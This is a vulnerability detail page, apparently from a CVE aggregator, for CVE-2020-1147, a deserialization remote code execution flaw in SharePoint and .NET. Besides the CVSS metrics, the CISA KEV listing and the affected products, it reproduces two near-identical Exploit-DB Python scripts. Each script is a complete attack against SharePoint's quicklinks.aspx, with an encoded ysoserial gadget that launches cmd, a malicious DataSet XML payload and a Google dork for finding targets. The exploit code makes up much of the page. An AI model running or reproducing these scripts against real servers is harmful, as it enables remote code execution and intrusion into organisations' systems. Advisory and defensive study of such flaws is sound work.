CVE-2020-1147 : Detail

CVE-2020-1147

7.8
/
High
92.7%V4
Local
2020-07-14
22h54 +00:00
2025-02-04
19h34 +00:00
CVE.org
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CVE Descriptions

A remote code execution vulnerability exists in .NET Framework, Microsoft SharePoint, and Visual Studio when the software fails to check the source markup of XML file input, aka '.NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability'.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48747

Publication date : 2020-08-16 22h00 +00:00
Author : West Shepherd
EDB Verified : No

# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution # Google Dork: inurl:quicklinks.aspx # Date: 2020-08-14 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service # Pack 2, SharePoint Server 2019 # Tested on: Windows 2016 # CVE : CVE-2020-1147 # Credit goes to Steven Seele and Soroush Dalili # Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html #!/usr/bin/python from sys import argv, exit, stdout, stderr import argparse import requests from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_ntlm import HttpNtlmAuth from urllib import quote, unquote import logging class Exploit: # To generate the gadget use: # ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command" # ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command" gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==' control_path_quicklinks = '/_layouts/15/quicklinks.aspx' control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx' control_path = control_path_quicklinks def __init__( self, redirect=False, proxy_address='', username='', domain='', password='', target='' ): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) self.username = '%s\\%s' % (domain, username) self.target = target self.password = password self.session = requests.session() self.redirect = redirect self.timeout = 0.5 self.proxies = { 'http': 'http://%s' % proxy_address, 'https': 'http://%s' % proxy_address } \ if proxy_address is not None \ and proxy_address != '' else {} self.headers = {} self.query_params = { 'Mode': "Suggestion" } self.form_values = { '__viewstate': '', '__SUGGESTIONSCACHE__': '' } self.cookies = {} self.payload = """\ <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">{GADGET}</anyType> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet>""".replace('{GADGET}', self.gadget) def do_get(self, url, params=None, data=None): return self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=data, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def do_post(self, url, data=None, params=None): return self.session.post( url=url, data=data, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def parse_page(self, content): soup = BeautifulSoup(content, 'lxml') for key, val in self.form_values.iteritems(): try: for tag in soup.select('input[name=%s]' % key): try: self.form_values[key] = tag['value'] except Exception as error: stderr.write('error for key %s error %s\n' % (key, str(error))) except Exception as error: stderr.write('error for selector %s error %s\n' % (key, str(error))) return self def debug(self): try: import http.client as http_client except ImportError: import httplib as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger("requests.packages.urllib3") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True return self def clean(self, payload): payload = payload\ .replace('\n', '')\ .replace('\r', '') while ' ' in payload: payload = payload\ .replace(' ', ' ') return payload def get_form(self): url = '%s%s' % (self.target, self.control_path) resp = self.do_get(url=url, params=self.query_params) self.parse_page(content=resp.content) return resp def send_payload(self): url = '%s%s' % (self.target, self.control_path) # self.get_form() self.headers['Content-Type'] = 'application/x-www-form-urlencoded' self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload) self.form_values['__viewstate'] = '' resp = self.do_post(url=url, params=self.query_params, data=self.form_values) return resp if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit') try: parser.add_argument('-target', action='store', help='Target address: http(s)://target.com ') parser.add_argument('-username', action='store', default='', help='Username to use: first.last') parser.add_argument('-domain', action='store', default='', help='User domain to use: domain.local') parser.add_argument('-password', action='store', default='', help='Password to use: Summer2020') parser.add_argument('-both', action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False') parser.add_argument('-debug', action='store', default=False, help='Enable debugging: False') parser.add_argument('-proxy', action='store', default='', help='Enable proxy: 10.10.10.10:8080') if len(argv) == 1: parser.print_help() exit(1) options = parser.parse_args() exp = Exploit( proxy_address=options.proxy, username=options.username, domain=options.domain, password=options.password, target=options.target ) if options.debug: exp.debug() stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % ( options.target, options.username, options.domain, options.password, options.debug, options.proxy )) result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) if 'MicrosoftSharePointTeamServices' in result.headers: stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices']) if options.both and result.status_code != 200: exp.control_path = exp.control_path_quicklinksdialogform stdout.write('Trying alternate page\n') result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) except Exception as error: stderr.write('error in main %s' % str(error))
Exploit Database EDB-ID : 50151

Publication date : 2021-07-22 22h00 +00:00
Author : Podalirius
EDB Verified : No

# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution (2) # Google Dork: inurl:quicklinks.aspx # Date: 2020-08-14 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service # Pack 2, SharePoint Server 2019 # Tested on: Windows 2016 # CVE : CVE-2020-1147 # Credit goes to Steven Seele and Soroush Dalili # Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html #!/usr/bin/python from sys import argv, exit, stdout, stderr import argparse import requests from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_ntlm import HttpNtlmAuth from urllib import quote, unquote import logging class Exploit(object): # To generate the gadget use: # ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command" # ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command" gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==' control_path_quicklinks = '/_layouts/15/quicklinks.aspx' control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx' control_path = control_path_quicklinks def __init__(self, redirect=False, proxy_address='', username='', domain='', password='', target=''): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) self.username = '%s\\%s' % (domain, username) self.target = target self.password = password self.session = requests.session() self.redirect = redirect self.timeout = 0.5 self.proxies = { 'http': 'http://%s' % proxy_address, 'https': 'http://%s' % proxy_address } \ if proxy_address is not None \ and proxy_address != '' else {} self.headers = {} self.query_params = { 'Mode': "Suggestion" } self.form_values = { '__viewstate': '', '__SUGGESTIONSCACHE__': '' } self.cookies = {} self.payload = """\ <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">{GADGET}</anyType> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet>""".replace('{GADGET}', self.gadget) def do_get(self, url, params=None, data=None): return self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=data, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def do_post(self, url, data=None, params=None): return self.session.post( url=url, data=data, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def parse_page(self, content): soup = BeautifulSoup(content, 'lxml') for key, val in self.form_values.iteritems(): try: for tag in soup.select('input[name=%s]' % key): try: self.form_values[key] = tag['value'] except Exception as error: stderr.write('error for key %s error %s\n' % (key, str(error))) except Exception as error: stderr.write('error for selector %s error %s\n' % (key, str(error))) return self def debug(self): try: import http.client as http_client except ImportError: import httplib as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger("requests.packages.urllib3") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True return self def clean(self, payload): payload = payload.replace('\n', '').replace('\r', '') while ' ' in payload: payload = payload.replace(' ', ' ') return payload def get_form(self): url = '%s%s' % (self.target, self.control_path) resp = self.do_get(url=url, params=self.query_params) self.parse_page(content=resp.content) return resp def send_payload(self): url = '%s%s' % (self.target, self.control_path) # self.get_form() self.headers['Content-Type'] = 'application/x-www-form-urlencoded' self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload) self.form_values['__viewstate'] = '' resp = self.do_post(url=url, params=self.query_params, data=self.form_values) return resp if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit') try: parser.add_argument("-target", action='store', help='Target address: http(s)://target.com ') parser.add_argument("-username", action='store', default='', help='Username to use: first.last') parser.add_argument("-domain", action='store', default='', help='User domain to use: domain.local') parser.add_argument("-password", action='store', default='', help='Password to use: Summer2020') parser.add_argument("-both", action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False') parser.add_argument("-debug", action='store', default=False, help='Enable debugging: False') parser.add_argument("-proxy", action='store', default='', help='Enable proxy: 10.10.10.10:8080') if len(argv) == 1: parser.print_help() exit(1) options = parser.parse_args() exp = Exploit( proxy_address=options.proxy, username=options.username, domain=options.domain, password=options.password, target=options.target ) if options.debug: exp.debug() stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % ( options.target, options.username, options.domain, options.password, options.debug, options.proxy )) result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) if 'MicrosoftSharePointTeamServices' in result.headers: stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices']) if options.both and result.status_code != 200: exp.control_path = exp.control_path_quicklinksdialogform stdout.write('Trying alternate page\n') result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) except Exception as error: stderr.write('error in main %s' % str(error))

Products Mentioned

Configuraton 0

Microsoft>>.net_core >> Version 2.1

Microsoft>>.net_core >> Version 3.1

Configuraton 0

Microsoft>>.net_framework >> Version 2.0

Microsoft>>.net_framework >> Version 3.0

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.6.2

Microsoft>>.net_framework >> Version 4.7

Microsoft>>.net_framework >> Version 4.7.1

Microsoft>>.net_framework >> Version 4.7.2

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.6

Microsoft>>.net_framework >> Version 4.6.1

Microsoft>>.net_framework >> Version 4.6.2

Microsoft>>Windows_10 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.6

Microsoft>>.net_framework >> Version 4.6.1

Microsoft>>.net_framework >> Version 4.6.2

Microsoft>>Windows_10 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.7.1

Microsoft>>.net_framework >> Version 4.7.2

Microsoft>>Windows_10 >> Version 1709

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.7.2

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_10 >> Version 1809

Microsoft>>Windows_server_2016 >> Version 1803

Microsoft>>Windows_server_2019 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5

Microsoft>>.net_framework >> Version 4.8

Microsoft>>Windows_10 >> Version 1809

Microsoft>>Windows_10 >> Version 1903

Microsoft>>Windows_10 >> Version 1909

Microsoft>>Windows_10 >> Version 2004

Microsoft>>Windows_server_2016 >> Version 1903

Microsoft>>Windows_server_2016 >> Version 1909

Microsoft>>Windows_server_2016 >> Version 2004

Microsoft>>Windows_server_2019 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 3.5.1

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Configuraton 0

Microsoft>>.net_framework >> Version 4.5.2

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Configuraton 0

Microsoft>>.net_framework >> Version 4.6

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>.net_framework >> Version 4.6

Microsoft>>.net_framework >> Version 4.6.1

Microsoft>>.net_framework >> Version 4.6.2

Microsoft>>.net_framework >> Version 4.7

Microsoft>>.net_framework >> Version 4.7.1

Microsoft>>.net_framework >> Version 4.7.2

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Configuraton 0

Microsoft>>.net_framework >> Version 4.8

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2016 >> Version 1803

Configuraton 0

Microsoft>>Sharepoint_enterprise_server >> Version 2013

Microsoft>>Sharepoint_enterprise_server >> Version 2016

Microsoft>>Sharepoint_server >> Version 2010

Microsoft>>Sharepoint_server >> Version 2019

Microsoft>>Visual_studio_2017 >> Version From (including) 15.0 To (including) 15.9

Microsoft>>Visual_studio_2019 >> Version From (including) 16.0 To (including) 16.6

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.